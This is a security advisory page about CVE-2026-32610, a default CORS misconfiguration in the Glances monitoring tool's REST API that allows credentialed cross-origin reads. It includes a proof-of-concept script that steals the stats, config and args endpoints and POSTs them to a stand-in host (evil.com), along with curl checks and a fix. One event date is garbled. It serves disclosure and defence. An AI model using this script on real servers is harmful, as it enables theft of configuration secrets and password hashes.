CVE-2026-32610: Glances's Default CORS Configuration Allows Cross-Origin Credential Theft

Published Mar 16, 2026
·
Updated

Summary

The Glances REST API web server ships with a default CORS configuration that sets alloworigins=[""] combined with allowcredentials=True. When both of these options are enabled together, Starlette's CORSMiddleware reflects the requesting Origin header value in the Access-Control-Allow-Origin response header instead of returning the literal wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.

Details

The CORS configuration is set up in glances/outputs/glancesrestfulapi.py lines 290-299:

python glances/outputs/glancesrestfulapi.py:290-299 FastAPI Enable CORS https://fastapi.tiangolo.com/tutorial/cors/ self.app.addmiddleware( CORSMiddleware, # Related to https://github.com/nicolargo/glances/issues/2812 alloworigins=config.getlistvalue('outputs', 'corsorigins', default=[""]), allowcredentials=config.getboolvalue('outputs', 'corscredentials', default=True), allowmethods=config.getlistvalue('outputs', 'corsmethods', default=[""]), allowheaders=config.getlistvalue('outputs', 'corsheaders', default=[""]), )

The defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are: - corsorigins = [""] (all origins) - corscredentials = True (allow credentials)

Per the CORS specification, browsers should not send credentials when Access-Control-Allow-Origin: . However, Starlette's CORSMiddleware implements a workaround: when alloworigins=[""] and allowcredentials=True, the middleware reflects the requesting origin in the response header instead of using . This means:

1. Attacker hosts https://evil.com/steal.html 2. Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page 3. JavaScript on evil.com makes fetch("http://glances-server:61208/api/4/config", {credentials: "include"}) 4. The browser sends the stored Basic Auth credentials 5. Starlette responds with Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true 6. The browser allows JavaScript to read the response 7. Attacker exfiltrates the configuration including sensitive data

When Glances is running without --password (the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.

PoC

Step 1: Attacker hosts a malicious page.

html <!-- steal-glances.html hosted on attacker's server --> <script> async function steal() { const target = "http://glances-server:61208"; // Steal system stats (processes, CPU, memory, network, disk) const all = await fetch(target + "/api/4/all", {credentials: "include"}); const allData = await all.json(); // Steal configuration (may contain database passwords, API keys) const config = await fetch(target + "/api/4/config", {credentials: "include"}); const configData = await config.json(); // Steal command line args (contains password hash, SNMP creds) const args = await fetch(target + "/api/4/args", {credentials: "include"}); const argsData = await args.json(); // Exfiltrate to attacker fetch("https://evil.com/collect", { method: "POST", body: JSON.stringify({all: allData, config: configData, args: argsData}) }); } steal(); </script>

Step 2: Verify CORS headers (without auth, default Glances).

bash Start Glances web server (default, no password) glances -w

From a different origin, verify the CORS headers curl -s -D- -o /dev/null \ -H "Origin: https://evil.com" \ http://localhost:61208/api/4/all

Expected response headers include: Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true

Step 3: Verify data theft (without auth).

bash curl -s http://localhost:61208/api/4/all | python -m json.tool | head -20 curl -s http://localhost:61208/api/4/config | python -m json.tool curl -s http://localhost:61208/api/4/args | python -m json.tool

Step 4: With authentication enabled, verify CORS still allows cross-origin credentialed requests.

bash Start Glances with password glances -w --password

Preflight request with credentials curl -s -D- -o /dev/null \ -X OPTIONS \ -H "Origin: https://evil.com" \ -H "Access-Control-Request-Method: GET" \ -H "Access-Control-Request-Headers: Authorization" \ http://localhost:61208/api/4/all

Expected: Access-Control-Allow-Origin: https://evil.com Expected: Access-Control-Allow-Credentials: true

Impact

- Without --password (default): Any website visited by a user on the same network can silently read all Glances API endpoints, including complete system monitoring data (process list with command lines, CPU/memory/disk stats, network interfaces and IP addresses, filesystem mounts, Docker container info), configuration file contents (which may contain database passwords, export backend credentials, API keys), and command line arguments.

- With --password: If the user has previously authenticated via the browser's Basic Auth dialog (which caches credentials), any website can make cross-origin requests that carry those cached credentials. This allows exfiltration of all the above data plus the password hash itself (via /api/4/args).

- Network reconnaissance: An attacker can use this to map internal network infrastructure by having victims visit a page that probes common Glances ports (61208) on internal IPs.

- Chained with POST endpoints: The CORS policy also allows POST methods, enabling an attacker to clear event logs (/api/4/events/clear/all) or modify process monitoring (/api/4/processes/extended/{pid}).

Recommended Fix

Change the default CORS credentials setting to False, and when credentials are enabled, require explicit origin configuration instead of wildcard:

python glances/outputs/glancesrestfulapi.py

Option 1: Change default to not allow credentials with wildcard origins corsorigins = config.getlistvalue('outputs', 'corsorigins', default=[""]) corscredentials = config.getboolvalue('outputs', 'corscredentials', default=False) # Changed from True

Option 2: Reject the insecure combination at startup if corsorigins == [""] and corscredentials: logger.warning( "CORS: alloworigins='' with allowcredentials=True is insecure. " "Setting allowcredentials to False. Configure specific origins to enable credentials." ) corscredentials = False

self.app.addmiddleware( CORSMiddleware, alloworigins=corsorigins, allowcredentials=corscredentials, allowmethods=config.getlistvalue('outputs', 'corsmethods', default=["GET"]), # Also restrict methods allowheaders=config.getlistvalue('outputs', 'corsheaders', default=[""]), )

Other sources

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, the Glances REST API web server ships with a default CORS configuration that sets alloworigins=[""] combined with allowcredentials=True. When both of these options are enabled together, Starlette's CORSMiddleware reflects the requesting Origin header value in the Access-Control-Allow-Origin response header instead of returning the literal wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance. Version 4.5.2 fixes the issue.

MITRE

Affected Software

2 affected componentsFixes available
pip/Glances<4.5.2
4.5.2
nicolargo Glances<4.5.2

Event History

Mar 16, 2026
Advisory Published
via GitHub·04:32 PM
Data Sourced
via GitHub·04:32 PM
DescriptionSeverityWeaknessAffected Software
Mar 18, 2026
CVE Published
via MITRE·04:31 PM
Data Sourced
via MITRE·04:31 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 PM
RemedyAffected Software
Jan 11, 58189
Event
via FIRST·07:22 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-32610?

CVE-2026-32610 is considered a high severity vulnerability due to the risk of cross-origin credential theft.

2

How do I fix CVE-2026-32610?

To fix CVE-2026-32610, update Glances to version 4.5.2 or newer, and modify the CORS configuration to disallow wildcard origins.

3

What does CVE-2026-32610 affect?

CVE-2026-32610 affects the Glances REST API web server when default CORS settings are improperly configured.

4

Can CVE-2026-32610 lead to data exposure?

Yes, CVE-2026-32610 can lead to data exposure as it allows malicious websites to make unauthorized requests using user credentials.

5

Is CVE-2026-32610 related to API security?

Yes, CVE-2026-32610 involves API security, specifically relating to the CORS configuration and its implications for credential sharing.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203